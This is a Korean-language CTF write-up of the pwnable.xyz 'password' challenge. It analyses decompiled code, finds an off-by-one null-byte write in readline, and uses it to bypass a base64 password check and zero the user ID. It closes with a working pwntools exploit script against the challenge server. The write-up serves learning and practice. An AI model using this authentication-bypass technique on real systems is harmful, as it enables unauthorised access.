[pwnable.xyz] password
Pwn/pwnable.xyz

[pwnable.xyz] password

반응형
문제 풀이 환경 : Ubuntu 16.04

아주 골 때리는.. 아니 게싱 문제다.

📝 Analysis


<< Mitigation >>

<< Code >>

· main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int select; // eax
  int id; // [rsp+0h] [rbp-20h]
  size_t n; // [rsp+8h] [rbp-18h] BYREF
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  puts("Secure login.");
  printf("User ID: ");
  id = (unsigned __int8)read_int32();
  if ( !id )
  {
    puts("You are not root.");
    exit(1);
  }
  user_id = id;
  load_password();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();                             // 1. Enter password.
                                                // 2. Change password.
                                                // 3. Print password.
                                                // 4. Restore password and logout.
      printf("> ");
      select = read_int32();
      if ( select != 2 )
        break;
      if ( creds == 1 )
      {
        memset(&flag, 0, 0x20uLL);
        puts("New password: ");
        argv = (const char **)&qword_20;
        readline(&flag, 0x20LL);
      }
      else
      {
        puts("Not logged in.");
      }
    }

    if ( select > 2 )
    {
      if ( select == 3 )
      {
        if ( user_id )
        {
          puts("You are not root.");
        }
        else
        {
          n = 0LL;
          s = (void *)b64decode(&flag, 32LL, &n);
          printf("Current password: %s\n", (const char *)s);
          argv = 0LL;
          memset(s, 0, n);
          free(s);
        }
      }
      
      else if ( select == 4 )
      {
        load_password();
        creds = 0;
      }
      
      else
      {
LABEL_19:
        puts("Invalid");
      }
    }
    
    else
    {
      if ( select != 1 )
        goto LABEL_19;
      login();
    }
  }
}

기능별로만 간단하게 설명하겠다.

실행하자마자 user id를 물어본다. 0은 설정할 수 없다.
1번 login 함수를 호출해서 로그인 된다면 cred=1을 해준다.
2번 cred=1이라면password를 설정할 수 있게 해준다.
3번 user id=0(root)이면 설정된 password를 b64decode하고 출력해준다.
4번 password 복구하고 로그아웃한다(cred=0 setting).

 

· login

내가 입력해준 패스워드와 flag(password)를 비교한다.

b64cmp 함수를 이용해 비교한 결과 서로 같다면 cred=1을 설정해준다.

 

· load_password

password를 다시 로드해서 복구해주는 함수다.

왠지 사용자가 마음대로 주무른 password를 복구하라고 준 함수 같다.

 

· readline

이 함수가 중요하다.

어디서든 말썽을 일으키는 함수인 strlen가 주인공인데, 입력한 길이를 검사해 입력값 끝에 null을 붙여준다.

strlen 함수 바로 밑줄 코드를 보면 여기가 취약하다는 걸 알 수 있다.

입력을 하지 않아 strlen이 0을 반환했을 경우 a1[-1] = 0 이 되어 OOB가 일어난다.

 

✨ Thinking


일단 문제를 보자마자 user idcred의 조작에 초점을 맞춰야겠다는 생각이 들었다.

flag(password)를 출력해야 끝날 것 같으니 user id를 0으로 만드는 것과 로그인에 성공해 cred를 1로 만드는 것을 목표로 했다.

 

<< login 성공하기 >>

솔직히 여기서 제일 고민 많이 했다. 왜냐면 아무리 봐도 여기서 cred=1을 얻고 가야 뒤가 쉬운데 어떻게 해야 여기가 통과될까라고 생각해봐도 무식한 브루트 포스 말고는 공격 벡터가 잘 보이지 않았기 때문이다.

브루트 포스를 문제는 아무리 봐도 아닌 것 같아서 함수가 제대로 동작하지 않고 0을 리턴하게 하는 방법을 써야겠다고 생각했다.

 

그전에 하나 보이는 사용 가능한 취약점으로는 위에서도 설명한 readline의 OOB 밖에 없는데 이걸 어떻게 해도 이용할 수가 없어 보였다.

이유는 bss에 위치한 각 전역 변수들을 보면 알 수 있다.

처음에는 메뉴 2번의 readline을 이용해서 user id를 0으로 바꿔주는 걸 생각했지만 로그인해서 cred가 1이 아니면 이용할 수 없어서 결국 여기서 해결을 해야 했다.

 

현재 건드릴 수 있는 건 login 함수 내의 readline을 이용해서 flag의 마지막 1Byte만을 건드릴 수 있다는 사실이다.

그래서 그냥 OOB 해보면 b64cmp 함수가 잘 넘어가진다!!!

cred가 1이 되고 메뉴 2번을 이용할 수 있게 된다.

▶ 위의 현상은 왜 일어나는 걸까?

더보기

먼저 이건 추리인데 함수 목록에 b64encode도 있음에도 b64decode만 쓴 게 힌트라고 생각했다.

그럼 flag가 현재 base64 encoding 상태라는 가정에서 출발했다.

뒤에서 말하겠지만 예상은 flag의 base64 encoding 길이가 딱 32이기 때문에 OOB로 끝 한 바이트를 망가뜨리면  base64 포맷에 맞지 않기 때문에 크레쉬 나서 b64decode 함수 내부에서 내가 원했던 0이 리턴이 돼서 ptr이 0이 되고 b64cmp 때 0, mypassword를 아무것도 입력 안 해준다면 0을 비교하니까 같아질 것이다.

실제로 맞았다. (플래그 알려줄 수 있기 때문에 직접 해보길 권한다.)

 

<< user id = 0 만들기 >>

여기부터는 쉽다.

flag의 readline OOB 이용해서 user id를 0으로 조작해준다.

 

<< flag 다시 복구 >>

flag를 내 맘대로 주무른 상태기 때문에 4번 메뉴로 복구시켜준다.

▶ cred가 0이 되는 건 어떡하지? 

더보기

다음에 이용할 3번 메뉴가 cred는 검사하지 않기 때문에 상관없다.

 

<< flag 출력! >>

3번 메뉴 호출한다. 끝.

 

🚩 Flag 🚩


from pwn import *

# p = process(b'./password')
p = remote(b'svc.pwnable.xyz', 30026)

p.sendlineafter(b'User ID: ', b'1')
# get credential
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Password: ', b'\x00') # oob
# make user_id 0
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'New password: ', b'\x00')
# restore flag
p.sendlineafter(b'> ', b'4')
# print it
p.sendlineafter(b'> ', b'3')

p.interactive()

 

반응형